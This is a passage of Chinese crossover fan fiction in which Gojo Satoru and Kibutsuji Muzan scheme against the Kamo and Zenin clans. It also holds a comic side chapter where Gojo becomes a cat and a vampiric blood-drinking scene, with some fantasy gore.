加茂弥皱着眉头,陡然,瞳孔猛地放大,声音几乎要控制不住。 “你!” 还有什么能作为五条家手中的把柄?当然只有加茂家目前正在进行的咒灵实验了。 加茂弥冷笑一声,眼中的怒火简直要化为实质。 “好,好一个把柄。” “我倒要看看,五条悟能带来什么见面礼,才能让我满意。” 话音刚落,门外传来嘈杂的声音,具体包括。 加茂家侍从的阻拦声,“请等一下!五条先生,长老正在同来客商讨事宜,您不能进去!” 某人的反驳声,“不是,里面坐着的不就是五条家的家主嘛,你拦什么呢?老子不能进去?” 最终,寥寥几位家仆怎么挡得住六眼呢?“五条悟”猛地拉开房门,踏着大步走进来,站在略显空旷的房间里,扫视着这里对峙的双方。 几位家仆连忙跟在几步后,向着加茂弥伏地下跪请罪。 然后他微微拉下墨镜,目光落在端坐在房间正前方的加茂弥,良久,挑了下眉,唇角上扬。 “诶,这是谁来着?” 五条悟步伐悠然而缓慢,走到五条瑾的左侧,十分不顾形象地盘腿坐了下来。 “平时都是隔着屏风跟你们几个讲话,还想着能说这种话的老家伙到底有多面目可憎。 结果一到就发现你在提我,真巧。” 五条悟手一挥,一个小型手提箱被他扔到了加茂弥的面前。四四方方,条纹规整,泛着银色的光泽。 加茂弥先是让还留在房间里的侍从们退下,接着将这手提箱摆正,锐利的目光直直射向五条悟。 “是啊,我也觉得很巧。” 五条悟是谈话中途闯入?还是本身就在,就等着自己把质问的话说出口,再出来印证自己的猜测? 加茂弥不清楚,所以她举动谨慎,内心对目前的情况已有诸多猜想。 直到她打开了手提箱,里面是一管淡红色的液体,被装在密闭的圆管型容器中,映入加茂弥的眼底。 在旁边,还放着一个未拼接的注射器。 加茂家,包括加茂弥自己,本身就在进行咒灵实验,瞬间就意识到了这东西的性质。 她的第一反应,是自己留在五条家的探子,居然没有传回任何有关于此的消息,看来五条家的保密工作,比她想象中要好的多。 大家族,进行什么样的实验都不奇怪。但加茂家的实验轻易就被五条家探测出来,而五条家的实验,加茂家却一无所知。 这是示威啊,加茂弥不禁想到。 加茂弥拿起那管液体,在面前晃了晃,内里微小的组织随着容器的晃动而上下翻滚,最表面浮上些许的微沫。 是被稀释后的血液。 …… 加茂弥面色冷静,动作娴熟地将注射器安装好,针头扎进橡胶塑封内,抽取了半管的液体。 取出后,加茂弥细细观片刻,随即皱起了眉头。 一般来说,咒术师的特征之一,便是咒力可以在体内流转,而普通人的身体无法储存咒力。但一般而言,咒力脱离人体,要么泄露后墯化为咒灵,要么咒力完全消散。 但这管血液之中,咒力的运转超乎寻常的活跃。 一点都不像无主的咒力。 反而就如同活物一样。 更重要的是。 这瓶上的咒力残留,属于五条悟本人。 加茂弥将目光投向五条悟,恰巧,对方的湛蓝色眸子也移过来,倒映着自然光,湛蓝而透亮。 众所周知,五条家都是一群将六眼奉为神明的疯狂的信徒。 扩张家族势力,增加经济收入,连接政府渠道。一切的一切,都是为了为六眼创造出更好的成长环境。 更好的家庭教师、更好的古籍典章、更好的咒力资源。 五条家为六眼打造成神的阶梯,六眼以实力为基,让五条家的繁荣得以胜极而不衰。 这同时也是示好,五条家的研究既然敢用在五条悟身上,就代表了他们的绝对自信,自信自己的研究绝不会出现纰漏。 加茂弥召了一位下人进来,招招手,示意她来到自己面前。 能出现在现场的,都可算作加茂弥的亲信,自然是可以信任。 来人跪在加茂弥面前,温顺地低下头,露出自己的脖颈,让主子将那血液注射进入自己的身体。 “呃,呃啊啊啊啊————” 下一秒,侍女的身体在剧烈地颤抖起来,面上狰狞,整个面部的皮肉与骨架揉在一起,喉咙低处发出尖细而扭曲的声音。紧接着是身体不受控制地扭曲,摔倒在地,就像是节肢的关节,骨头和木质地板猛地碰撞,发出令人牙酸的“咚咚”声。 加茂弥静静地观察着,直到这动静渐渐平息,侍女的惨叫声也渐渐消失,只余下急促的呼吸声。 侍女挣扎着从地上爬起来,刹那间,她似乎和五条悟对上了视线。 而后,是那隐藏在阴影之下的、被黑暗遮蔽的,绝对的扭曲与碎裂,有谁透过恍惚的隔阂,丝毫不掩饰自己恶意的狞笑。 侍女剧烈地喘了两声,手脚并用地向加茂弥的方向爬过去,眸中闪过一丝清醒,但转瞬即逝,在茫然后又重归于寂静。 “……大人。” 加茂弥沉声询问:“感觉如何?” “回大人,感觉身体内涌现了一种很奇怪的力量。” 加茂弥收回视线,随后看向五条瑾。 “具体的效果是?” 五条悟姿态散漫,右手撑着下巴。 “赤血操术的相关资料和指导老师。” 加茂弥轻哼一声,算是认可了他们期望合作的诚意。 “我会挑选相关人员,明日便会抵达高专。” 五条悟也不藏着掖着。 “其一效果,是提高人体的自愈能力。” 加茂弥第一个想到的是:“类似于反转术式?” “更胜一筹,且,没有门槛。” 加茂弥眸子一眯,瞬间,侍女的脑袋中央出现一条细细的血痕,鲜红色的液体慢慢流淌出来。随着“咔”一声,侍女的半颗脑袋撕扯开了皮肉间的拉扯,往下坠落到地面上。 鲜红色和暗褐色的脑组织洒落一地,五条悟视线下移,眸中带着显而易见的厌恶。 也不知是对着谁的。 然后,加茂弥就看着面前这个,已经丢了半个脑袋的家伙,新生的血肉于伤痕之上重新蔓延,最终恢复到了原样。 加茂弥长长地叹了口气。 赤血操术需要的,不就是这样的能力吗? “五条悟,你说这只是其一,那余下的呢?” “哎呀呀,老头儿。”五条悟十指交叉,垫在脑后,抬着头连看都不看对方一眼,只是转过头面对着五条瑾,“你说这见面礼到底能不能让人满意啊?” 加茂弥满脸笑容,也不咄咄逼人了,“悟这是哪里的话,我可是非常欢迎同五条家合作的呢。” 五条悟看着她迅速转变的语气,摆摆手。 “啧,这老东西,变脸比翻书还快。” 第53章 番外一 五条变猫记 出于不知名原因, 在某一天的清晨,五条悟从自己那张大床上醒来的时候,陡然发现, 自己的床突然变得无比巨大。 而且, 更重要的是, 他突然感受不到六眼传来的信息了。 五条悟自己吓自己,试图从床上下来, 结果翻了个身,手脚莫名其妙的不听使唤。 五条悟抬起手往自己眼前一放,就看见了一条毛茸茸的猫爪子。 五条悟瞳孔地震, 尝试着张口说话, 结果只发出了“喵喵喵喵”的声音。 天塌了啊,五条悟变猫了。 诶但是, 没了六眼无时无刻传来的信息,他的脑子感觉放松了很多, 又清醒又迷醉。 总而言之,五条悟接受良好。在床上找到了自己的手机,用爪子摁入密码后,在相机里看见了自己的模样。 毛发雪白的布偶猫, 虽说六眼可能被失效了, 但五条猫猫的眼睛还是纯粹的湛蓝, 澄澈透亮。 五条悟看了相机半天,然后坐下舔了舔爪子, 在舌头上覆了几根猫毛后, 才猛地把爪子放下,感叹生物习性,恐怖如斯。 在房间里溜达了半天, 感觉没什么意思。五条悟用爪子勾着墙壁,三两下跳上窗台,随后把窗户推开,跳进了窗下茂密的灌木中。 他现在的情况太过于惊奇了,六眼失效,五条悟本人变猫,这可真是闻所未闻啊朋友。巡逻的族人看见了他,也不会认为这只猫会和他们的少主有关系。 但五条悟一想到,这些人会一脸惊恐地把他保护起来,这也不让去那也不让干,五条悟顿时感觉喵生无望,于是悄摸着摸到了距离他就几步路远的鬼舞辻无惨的房间。 以同样的方法拽开窗户,五条悟探进去一个毛茸茸的脑袋,在书桌前,看见了正抱着一摞一摞的竹简研究的鬼舞辻无惨。 五条悟:?在看啥呢怎么连竹简都翻出来了。 但是五条悟不管,仗着自己变小了,往他的桌子上一扑,试图用自己毛茸茸的身子把桌上的竹简遮住。 但他一伸左爪,鬼舞辻无惨的食指点着他的肉垫,停下他的动作。一伸右爪,又被他的指尖点住。整条猫猫想扑上去的时候,对方的手掌就像那个岿然不动的大墙一样,虚虚地握着五条悟的脖子,然后往外轻轻一推,五条猫猫的身体就被推到桌子下面。 猫猫的身体本能发动,五条猫猫四肢稳稳着地,然后满脸不服地想冲鬼舞辻无惨骂骂咧咧。 结果由于身体太矮,视线完全被桌子挡住了,一点都看不到对方的脸。 五条猫猫怒而重新进攻,结果在五秒后,再一次落到地上。 “喵喵喵喵喵!” 翻译:你在看什么呢?有那么好看嘛?别看了来陪我嗷。 鬼舞辻无惨不仅不为所动,反而回了他一句,“有事,别吵。” 五条悟极为不爽,用喵语“辱骂”了半天,结果对方跟那个选择性失聪一样,一点都不想搭理他。 怎么可以这样呢,于是五条悟决定从别处入手。 五条悟扒拉着他的后背,爪子勾住衣服的布料,顺着鬼舞辻无惨的背往上爬,一溜烟地站到了他的肩膀上。 一大只猫猫缩在鬼舞辻无惨的肩膀上,空间略微有些狭窄,脑袋和前爪都不自主地贴着对方的脸颊。 柔软的细绒还是有些戳人的,鬼舞辻无惨左手伸了过来,手指拎着猫猫的后颈,试图把他从自己肩膀上取下来。但五条悟的爪子勾住鬼舞辻无惨肩膀上的布料,一点都没有放开的意思,猫猫的身体拱成U型,从一大只猫猫变成了一长条猫猫,还是扒拉着不松开。 就像是妥协了一样,鬼舞辻无惨松开手,任由他逗留在自己的肩头。 五条猫猫坐在鬼舞辻无惨的肩上,似是在宣告自己的胜利,优雅地舔了舔爪子。 舔了两秒,五条悟又意识到生物本能可真是太恐怖了,怒而放下,随后一爪子抵在对方的脸上。 “喵喵喵喵喵!喵喵喵~” 翻译:太可恶了啊,怎么就是控制不住……嗯,等等,好软哦。 五条悟爪子稍稍用了点力,看着面前的脸颊一点点陷下去,然后抵着他的爪子。对方的皮肤没什么温度,在大夏天的时候,猫爪之上的触感冰冰凉凉的。 …… 五条悟在心里唾弃了自己两下,随后收回爪子,把脑袋凑了上去,用脸颊两腮去磨蹭着对方的脸,越蹭着身体越往前,喉咙里发出类似于猫科动物的呼噜声。 鬼舞辻无惨微微偏了下脑袋,但没有拦着,只是摸上五条猫猫的头,顺着脊柱一直往下,给他顺毛。五条猫猫顿时感觉浑身的骨头都酥了,彻彻底底化为液体,滩在鬼舞辻无惨手心,四肢缩了起来,翻了个身,静静感受着他掌心的温度。 鬼舞辻无惨单手抱着猫猫下来,看着已经闭上眼睛打盹的五条猫猫,选择把猫搁在桌子上。但猫猫的爪子勾住了他的袖子,就是不松开,鬼舞辻无惨都差点怀疑这家伙是不是真睡着了。 …… 食指点了一下五条猫猫的脑袋,那双湛蓝色的眸子睁开一点,然后迷迷糊糊地舔了舔他的指尖,倒刺勾过指尖的皮肉,酥酥麻麻的,跟在大夏天把手指伸进带着冰碴的水面一样。 鬼舞辻无惨皱了下眉,指尖揉了揉猫猫的耳朵,引得对方缩了一下,随后又往他的怀里蹭过来。 五条猫猫一路顺着桌面翻滚过去,随即掉下桌子的边缘,稳稳当当地落到了鬼舞辻无惨的大腿上。温热的触感抵着猫猫的脑袋和爪子,猫猫眨了眨眼,选择缩在温暖的地方,安安静静地闭眼睡了过去。 鬼舞辻无惨轻叹一声,心想人变成猫后会更嗜睡吗? 不对,人能变成猫这件事本身就很不对吧? 鬼舞辻无惨将掌心覆在猫猫的脑袋上,指腹一下一下地揉这猫猫的后脑和下巴,温热的触感残留在指尖,还能听到猫猫接连不断的呼噜声,连带着指尖也一起颤抖着。 出大问题了啊。 第54章 第 54 章 非武力交锋…… 在前往加茂家之前。 正午的烈日之下, 光影的间隙中,房檐下,鬼舞辻无惨伸出手, 由那光点垂落至自己的指尖。 平静而祥和的气氛, 四周静悄悄的, 只有树叶被风吹动的沙沙声。 下一秒,这光被挡住, 视线里闯入一片雪白。 五条悟身子颠倒地浮在半空中,面对着他。 “喂,你在装深沉吗?” 鬼舞辻无惨白了他一眼, 转头进屋。 “诶, 别走呀。” 五条悟身体蹦跶着落地,跟着对方进了屋。 五条瑾端坐在桌子后, 手里捧着一杯凉茶,慢悠悠地喝着。 “无惨大人。” 五条瑾向他点头示意, 随后目光就落到了后面进来的五条悟身上,语气惊奇。 “悟君也来了啊。” “哈?”五条悟指尖扒拉着下眼皮,墨镜顺着他的动作滑落,湛蓝、肤色与血痕交织在一起, 冲他做了个吐舌的鬼脸, “嘁, 不是你叫我来的吗?” 五条瑾放下茶杯,颇有些感慨地说到:“毕竟要是按照从前, 悟君肯定是不愿意来的。” 五条悟抱胸扭头, 但他说的确实没错。 “好吧,反正是我自己想干,你先说说计划。” 五条瑾笑眯眯地注视着他, 声音中带着莫名的欣慰。 “悟君也愿意听听我们这些老东西的话了,真是难得。” 五条悟拉着脸叹了口气,选择直直打断他,额头抵在身旁之人的肩上,就像是完全受不了家主这种话。 “行了吧,再不进入正题,我就走了。” 五条瑾见好就收,语气缓慢而温和。 “目前已有的条件是,悟君在前些日子,已经同禅院家的家主做了交易,会支持他稳坐家主之位。 悟君必定不是一个会出尔反尔的合作者。” 五条悟轻哼一声,“那当然。” 五条瑾:“近期,由于家主的部分决策失误,导致其余派系实力甚嚣尘上。 我的初步构想是,协助禅院家家主清扫族内反对势力。 以达到削弱禅院家整体实力的目的。” 五条悟托着下巴,神色蔫蔫儿的:“嗯,可以。不过那群烂橘子再怎么蠢,也不过只是在家族的内部框架下做些手脚,谅他们也不敢真的掀起派系斗争。” “因为缺少外部势力的介入。”五条瑾将另一个茶杯推到五条悟面前,“只要从外部借来可行的推力,对权力的渴望就能压倒这种理智。” “但这推力不能是五条家。”五条悟拿起那个茶杯,瞬间捏碎,瓷器的碎渣散落在桌子上,“毕竟,某个把禅院家逼到如今境地的罪魁祸首,还在五条家待着呢。” 更多内容请搜索QQ频道:西图澜娅 五条悟扭头看了一眼鬼舞辻无惨,某“罪魁祸首”,但果不其然被对方无视了。五条悟不服气地揪着他的头发,扯着他的衣角,对方送来的一拳还落空了,惹得五条悟一阵大笑。 “那就只剩下一个选择。” “加茂家。”五条悟补充了对方还未说完的话,“但他们为什么要趟这趟浑水?” “这个理由不是我们需要操心的事。” 五条瑾不愧是能将五条家上上下下打理妥善的狠角色,一眼就看出了问题的核心所在。 “只要有足够的利益,一切皆有可能。 只要加茂家能看到足够的报酬,如何插手,如何挑拨禅院家的内部斗争,就是他们自己需要考虑的事情了。” “哦。”五条悟轻轻应了一下,吐槽了两句,“你们搞权术的心都脏。” 五条家对他的这种说法接受良好。 “等悟君继承了家主之位,这些就是需要悟君操心的事情了。” “啊?”五条悟苦着脸拒绝,“你别,我可不想整天被束缚在家族里。” “但现在,无论是为了什么原因,悟君愿意涉及这些东西,我作为家主,还是很高兴的。” “知道啦,虚伪的老头子~” 五条悟懒洋洋地说着:“那加茂家目前最紧切的任务是?” “嗯……”五条瑾摸着下巴,探索似的看向五条悟,“加茂家近日似乎真的有一位高层丧生,还是在悟君在场的那天。” 五条悟身体后仰,眼看着对方的眼神有些不对劲,连忙否认,“干嘛?谁知道他为什么死的那么凑巧,反正不是老子干的。” 五条瑾点点头。 “我相信悟君不会在这种地方隐瞒。 但无论他是怎么死的,加茂家目前的高层席位少了一个,这令他们在有关决策问题方面,落入了下风。 加茂家可以接受被五条家暂压一头,但绝对接受不了自己是御三家之中最弱的那一个。” 五条悟翻了个白眼,“他们本来就很弱。” “所以怎么说?帮他们恢复席位吗?” “这是肯定要做的事,但是筹码还不够。” “没关系。”五条悟自信满满,“反正我有绝世大杀器,你先分析着。” 五条瑾心里有些惊讶,感慨悟君是在什么时候拿到的杀手锏。 “他们不会不知道,禅院家内部的派系争斗,绝对会削弱禅院家的整体实力,也就变相地提高了加茂家的实力和地位。 但真要对方下场,这个代价太大。哪怕五条家由于世仇的存在,对外的态度一直是与禅院家水火不容。 但一切都是基于利益的,利益交换才是高层间来往的基础。 加茂家难以判断我们究竟是真心与加茂家合作,还是私下里早已与禅院家暗通款曲,实际目的则是打压加茂家。” …… “很好解决的吧?” 五条悟伸出右手的食指和中指,比了个剪刀手。 “两个方面,第一要给出对方无法拒绝的条件,第二要有能令对方放松的把柄。” 五条瑾表示赞同,“悟君说的对。” “巧了么这不是。”五条悟嘴角上演,唇红齿白,露出了个健康的笑容,“这两个方面,只需要一样东西就能做到。” 五条瑾对他的说法有些好奇。 “悟君指的是?” 五条悟适时将目光转向鬼舞辻无惨。 某位其实一直在神游天外的非人之物:………… “……终于关我的事了?” “嗯?”五条瑾有些疑惑,“悟君的杀手锏是无惨大人?” “大差不差。” 五条瑾:“我很好奇,因为我明白,悟君指的并不是实力方面的东西。” 五条悟点点头,神神道道地点了点地面。 五条瑾:“悟君这是……” “老头子,我问你,天元的术式是什么?” 五条瑾虽有些疑惑,但仍旧顺着他的引导回答到:“不死术式,并通过与星浆体同化,来延续自己的寿命。” “那如果我告诉你,有一种方法,可以不需要任何代价,就能达到不死的效果,你……” “悟君。”五条瑾在意识到他在说什么的时候,就开口打断了他,但似乎还是太晚了。 “天元大人无所不知。” “真的吗?我不信。” 五条悟对此表示十分不屑,“那家伙似乎没法通过结界术观察到无惨和他身边的情况,不然,我俩都讨论了那么多次,甚至还有比不死更惊奇的消息,天元怎么没找上门来?” “喏,老头子,我问你,这个东西,够有诱惑力不?” “可以是可以。”五条瑾默默叹了口气,“但这太过于惊世骇俗,我的建议是,悟君最好还是保守好这个秘密。” “哦。”五条悟撇了撇嘴,有些疑惑这老东西怎么能这么平静地就接受了不死这个诱惑。 “那超出寻常反转术式的自愈能力够不够?正好可以跟加茂家的赤血操术相结合,那些人施个术式都要整天放血,我想他们也是有够烦的。” 五条瑾:“远超?具体是……” 五条悟回想起灰原雄的状况,“腰斩但仍能完全恢复。” 五条瑾喟叹一声,“我想这当然可以。” 坐在一旁,鬼舞辻无惨听着两人对话,又看了眼试图用自己的血液作交易的五条悟,面上虽然仍旧平淡,但目光仍略显不满,伸手揪住五条悟的领子。 “自顾自地说什么呢,五条悟?” 五条悟被扼住命运的后颈,瞬间坐直了身子,扭过头盯着鬼舞辻无惨看,墨镜之后的眼睛一眨一眨的,冲着对方卖萌。 “干嘛~ 不愿意啊?” 五条悟转过身子,一把抓住鬼舞辻无惨的手,然后非常自然地压在手下。五条悟的声音中含着点点的责怪,配合着他的表情,简直就像是鬼舞辻无惨才是那个无理取闹的家伙。 “你可是答应过要帮我的!不能出尔反尔。” 鬼舞辻无惨对自己的定位颇为准确,“我可不是什么好人。” 五条悟凑了过来,盯着他血色的眸子,面上拧作一团,然后用力扯了扯他的脸颊,成功让对方平静的脸露出一丝嫌弃。 五条悟感觉良好,“好啦,我知道你是恶人了,剩下还有什么想说的吗?” 沉默了半天,五条悟见他没有回答,有些不可思议地反问到:“你不可能不帮我的吧?” “帮,怎么不帮。”鬼舞辻无惨伸着手,捏了捏五条悟的脸,对方非但没生气,反倒是高兴地笑了起来。 “这不就搞定啦?” 五条家心里已经默默有了猜测,悟君说的杀手锏,大概率就是鬼舞辻无惨身上携带的。 五条瑾:“既然已经安排妥当,悟君什么时候愿意,找个时间前去拜访一下加茂家的高层,如何?” 五条悟“啊”了一声,声音中有诸多不情愿。 “为什么一定要我去?” 五条悟脱力地挂在鬼舞辻无惨的肩头,脸颊抵着他的肩膀,凹进去一块。 第55章 第 55 章 非武力交锋…… 一听到要他自己去和加茂家谈判, 五条悟顿时苦着一张脸,连那双眸子感觉都暗淡了许多。 “为什么一定要我去?你自己去不行吗?” 五条悟任性地扭头,一点都不想把目光撇在五条瑾身上。 “因为悟君这几天大张旗鼓, 不仅将加茂禅院两家闹了个底朝天, 还在五条家之前, 率先定下了同禅院家家主的交易。” 五条瑾不紧不慢地喝了口茶润润嗓子,声音中带着点调笑。 “虽然悟君内心不想这样, 但事实就是,悟君在愿意参与御三家的权力斗争之时,就已经天然的具有对五条家决策的最高解释权。” “哇。”五条悟干巴巴地叹了一声, 嘲讽到, “怎么,五条家没了我就运作不下去啦?” 五条瑾冲他摇了摇头, “悟君分明知道我在说什么。” “行行行。”五条悟的态度颇有些不耐,“总而言之, 要让那群烂橘子相信五条家是真心谈合作,就必须是老子亲自到场对吧? 就算老子今天跟禅院家谈,明天跟加茂家谈,那群人精还是会有所怀疑。毕竟五条家可以对他们两家都诉说真心, 然后转头就把他们卖了。” 五条瑾欣慰道:“悟君说的没错。哪怕是我这个家主, 如今也不能完全说自己的决策就代表着家族。 五条家始终是为悟君而存在的。” 五条悟“嘁”了一声, 表情不算好,嘴角的笑容不仅看不出高兴, 反倒是透露出一丝恶意。 “你们这群人可真奇怪, 把利用说的怪肉麻的。一切不过是为了借着六眼的力量,来巩固五条家的地位罢了,别把自己说的有多高大尚。” 五条瑾面上的表情没有丝毫变化。 “悟君教训的是。” 五条悟的脸上陡然露出厌恶的表情, “所以老子才讨厌你们这幅样子。” 五条悟磨了磨牙,手上抓着鬼舞辻无惨衣角的指尖微微用力,把他衣服的布料揉成一团,变得皱巴巴的。 “算了,懒得跟你们吵。” 五条瑾微微睁眼,就像是习惯了这种相处模式,“由于世界上不可能有两个悟君,所以我还是推荐,悟君同不好说服的加茂家谈判,当然,我也会到场。 而禅院家由于与五条家早有合作,所以同禅院家的正式谈判,私以为重要程度可以稍稍降低。并且,在悟君和禅院家家主做交易那天,无惨大人也一同在现场,如果可以的话……” “啊啊啊啊,烦死了。” 五条悟猛的抬头,然后眼神奇怪地盯着五条瑾,似乎对他很有意见。 “你能不能别说话,老子现在看你感觉很烦。” 五条瑾做了个把自己嘴巴缝上的手势,以表达自己的歉意。 五条悟顿时觉得没劲,又把脑袋重新搭在鬼舞辻无惨的肩膀上。 “你干脆找个人假扮成我去加茂家算了,干嘛非要老子上场……跟那烂橘子谈事情最烦人了。” 五条瑾有些无奈地补充道:“悟君,普通的易容术,或者咒力伪装,是瞒不过高层那群老狐狸的。” “你也是老狐狸。”五条悟顿了两秒,接着又补上,就跟任性的小孩子一样,“喔不对,你还是烂橘子,你也烦人。” “嗯,悟君说的对。” “所以说你很烦啊!” 五条悟翻了个白眼,急急忙忙地把人赶了出去,并在内心里觉得这家伙和普通的五条家的人没有任何不同。 五条悟在心里生闷气,越气越想,然后越想越气,实在是没控制住,抓着鬼舞辻无惨胳膊都手劲儿使大了点。 下一秒,他的脖子上瞬间就挨了对方一个手刀。 五条悟顺势松开手,然后捂着脖子趴在他的肩膀上,嘴里装模作样地嚷嚷到:“啊,好痛,我要晕过去了。” 鬼舞辻无惨对此表示无语,“五条悟,你有病?” “嘻嘻。”五条悟龇着牙,然后凑过去,试图给对方来个美颜暴击。 “老子说的又没错,高层的人都是一群眼里只有利益的蠢货。 五条家的人也是……” 五条悟可疑地停顿了一下,随后声音弱了下来,但还是坚持自己的观点。 “就算有几个人不满,他们又能改变什么呢? 所以果然要老子出马。” 不知是出于什么原因,鬼舞辻无惨伸手揉了揉五条悟的白发,在对方的目光转过来的时候,又瞬间收回了手。 “所以?你准备和加茂家去谈?” 五条悟叹了口气,语气可怜巴巴,“我不想去,一想到就要犯恶心,连喜久福都吃不下去了嗷。 要不你去吧?” 五条悟这算盘打得,根本就没想着避着人。 “你直接强制性把那些烂橘子变成鬼,然后直接命令他们去做这做那不就行了。现在搞得,好麻烦哦,又要老子动脑,烦死了。” 鬼舞辻无惨有些诧异地看了他一眼。 “这么信任我?” 五条悟楞了一下,然后扭过头,不准备承认这一点。 “老子才没有,老子只是不想跟讨厌的人打交道。” “嗯嗯。”鬼舞辻无惨乘胜追击,一点都不准备给他台阶下,“所以不讨厌我?” 五条悟:……………… “你干嘛说得这么……”五条悟支吾了半天,也没找到好的形容词,最后自暴自弃地一拳锤在鬼舞辻无惨的手臂上,“不许打乱我的思路!” “但是。” 鬼舞辻无惨握着他的手腕,然后按在桌上。没用什么力道,但对方也没挣扎。 “如果我这样做的话,裁断咒术界的,就从高层,转变为我一人了吧? 这是你想要的吗?” 鬼舞辻无惨的声音还是如同往日一样,声线平缓,没有多少起伏,但五条悟就是能从中听出一丝诘问。 —————你口中的改变,就是为咒术界的大家,换另一个主子吗? 五条悟轻哼一声,“当然不是。 老子只是懒得去想,并不代表我对这些权力斗争完全不知情。 老子确实讨厌五条家的氛围,但到底还是五条家培养出了我。 不然,老子才不会继续让五条家留在高层的范围内。” 对方是一位了解权术而对权术毫无兴趣之人,恰巧,五条悟也是。 “况且,对高层的势力布局,老子已有决定。” 五条悟理直气壮地补充到:“只是想罢工而已,很正常的吧?” 鬼舞辻无惨觉得和这家伙争论,会让自己也变得同样幼稚,于是及时暂停,“所以,加茂家还去吗?” 五条悟:“不想去,不如你去吧。” 鬼舞辻无惨反问到:“那倘若无法说服对方,又如何呢?” “那你就直接把那群烂橘子变成……”五条悟下意识地说到,接着又猛地停下来,“不行啊,这个对话刚刚分明进行过了,否决否决!” “我倒是有个好主意。”鬼舞辻无惨适时开口,就是面上的笑容不太友善。 “什么主意?”五条悟撇撇嘴,“难不成你能让世界上出现两个五条悟?” 五条悟本来是开玩笑似的说的,但鬼舞辻无惨并没有接话,或者说,他只是挂着一贯的不友善的笑容,静静地看着自己。 …… 五条悟试探性地问到:“你不会真能吧?” 眼见对方的态度似乎是默认了,五条悟表情顿时带上了好奇和惊讶。 “真的假的?你真会啊? 快告诉我,你是不是会什么易容术,或者能改变外貌。” “只是拟态而已。”鬼舞辻无惨侧着身子,右手撑着脸颊,额前卷曲的发丝搭在苍白的皮肤上,透出一丝诡异的非人感,“但我为什么一定要这么做呢?” 五条悟眯着眼睛盯着他,试图以理服人,“如果你真能变成老子的模样,我们完全可以分别去禅院家和加茂家谈判。这两家的高层,肯定都以为自己才是和五条悟谈的那一方,合作包顺利的呀。 这可是有助于交易的进行诶,你不会不同意的吧?不会吧不会吧?” 五条悟眨巴眨巴眼睛,试图对着鬼舞辻无惨卖萌,最后发现人根本不吃这一套。 “你很幼稚,五条悟。”鬼舞辻无惨不仅不吃他这一套,反而开口嘲讽,“真不知道要多少年才能让你心智成熟。” “嘁。”五条悟对着他翻了个白眼,“老子这叫青春活泼,只有你这个岁数的老东西才会觉得老子幼稚。” 鬼舞辻无惨:“是个人都会觉得你很幼稚的吧。” “怎么可能。”五条悟扭头,并否认,“不管,我有最高解释权。” 执着的东西,就要搞懂才对,特别还是这种一看就十分不科学的东西。但貌似咒力和咒灵本身,就已经很不科学了。再加上对方的不死,恐怖的回复速度,以及极有可能存在的异世界设定,五条悟顿时觉得面前这人身上还有很多东西等着自己挖掘。 哎呀!都怪对方一点都不热忱,平时别说闲聊了,特意有事找他还要先被怼一下。 五条悟怒,怒而发力,表示不弄清楚誓不罢休。 直到对方鲜红色的眸子扭过来,定定地注视着自己,五条悟又有点明白他在暗示着什么了。 “知道啦~要喝血是吧,喏,老子也不是那么不讲理的人。” 五条悟笑眯眯地伸出手,结果发现对方不仅没动,反倒是那双眼珠子就没从他的脖颈上下来过。 五条悟顿时挎着张脸,满脸嫌弃地说到:“连吃带拿啊你是。” 鬼舞辻无惨饶有趣味地看着他,“不同意,你可以拒绝。” 五条悟盯着他的眼珠子看了半天,然后目光移开一下子,接着又看了他一眼。 墨迹了半天,五条悟一点点挪过去,脑袋凑近,两人就像是在说悄悄话一样。 “emmm,你下口轻点。” 鬼舞辻无惨奇怪地看了他一眼。 “怎么,你还怕疼?” 五条悟:“不是。 老子是怕自己一个不小心一发茈丢在你身上啊。” “好好。”鬼舞辻无惨随意地点了点头,“知道了五条少爷,所以你现在做好心里建设了吗?” “开玩笑呢。”五条悟嘴硬道,“这还需要什么心理建设,你随便来。” 鬼舞辻无惨就当他说的是实话,而不是逞强。于是他上半身倾斜过去,伸手揽住五条悟的脖子,把对方的上半身往自己这边拉。 在逐渐靠近五条悟的脖颈之前,鬼舞辻无惨一直紧紧盯着对方的眼睛,看着那蓝色逐渐晕开,配合着发间的雪,以及面颊上的薄红。直到那双苍天之瞳中的点点湛蓝变得透亮非常,鬼舞辻无惨低下头。 先是唇瓣率先触碰到了对方颈间的皮肤,鬼王整个人都是冷冷的,连唇瓣上都带着一丝化不开的寒意。但五条悟的脖颈出奇的热,几乎是到了发烫的地步,鬼舞辻无惨的气息扑上去,五条悟的身子不知怎的,莫名抖了一下。 柔软的唇瓣划过之后,就是尖锐的牙齿,齿尖慢慢刺进对方的脖子,带来一点轻微的疼痛,一瞬而过,就像是什么都没有发生。 但脖颈被刺入,五条悟的手顿时就收紧了,身体本能驱使着他发动进攻,叫嚣着要把这个试图入侵自己领地的存在挫骨扬灰。 感受到对方的指尖猛的抖了一下,鬼舞辻无惨敏锐地觉察到这人浑身的咒力都在往他的指尖涌动。鬼舞辻无惨按上他的手,指甲掐着他的指腹,微微用力。下一秒,清脆的碰撞声响起,鬼舞辻无惨身体倾斜,带着五条悟的身体一起跌倒在地。 鬼舞辻无惨顺势把对方的双手都按在地上,脑袋仍旧伏在他的脖颈间,安抚似的揉着他的掌心和指尖,接着慢慢的、一点一点地吸食着对方的血液。 或许鬼舞辻无惨咬的时候真的放轻了力道,五条悟确实不疼,但浑身上下顿时充斥着细细密密的酥麻感,像是能清晰地感觉到血液流淌着的动静,顺着应行的渠道翻涌,带起一阵血沫。 五条悟咽了口口水,甚至还能听到对方缓慢的呼吸声,微凉的指尖摩挲过炽热的掌心,带来又一阵酥麻感。对方为了更好地吸食,甚至将膝盖抵着他的大腿,借着他的身体发力,几乎是整个人都趴在他的身上。 也不知是失血过多,还是别的什么原因,等鬼舞辻无惨抬头的时候,五条悟的脸上通红,意识迷迷糊糊的,手被放开后自动缠住了这人的腰,还下意识摩挲了两下。直到感觉到指尖下不同的触感和对方那仿佛能杀人的视线,五条悟陡然清醒过来,掩盖似的咳嗽两声。 连他的声音都是晕乎乎的,就仿佛是醉了一样。 第56章 第 56 章 非武力交锋…… 五条悟脑袋晕乎乎的, 思绪转了个弯,然后重重地落在地上。 两秒之后,五条悟才反应过来, 不是他的幻觉, 是自己的腹部真的挨了一脚。 “哇……你好狠心。” 五条悟故作可怜地屈起膝盖, 双手捂着脸,最多就是让脸上的红晕不那么明显。五条悟也不明白自己这么做的目的是为了什么, 可能是脸红成这样,会有点丢脸? 但五条悟转念一想,理直气壮地在心里鼓励自己。一边默念老子还怕什么丢脸之类的话, “刷”一下就把手放下, 漂亮又有点湿润的湛蓝色眸子转过去,视线同面前居高临下注视着自己的家伙对上。 两秒之后, 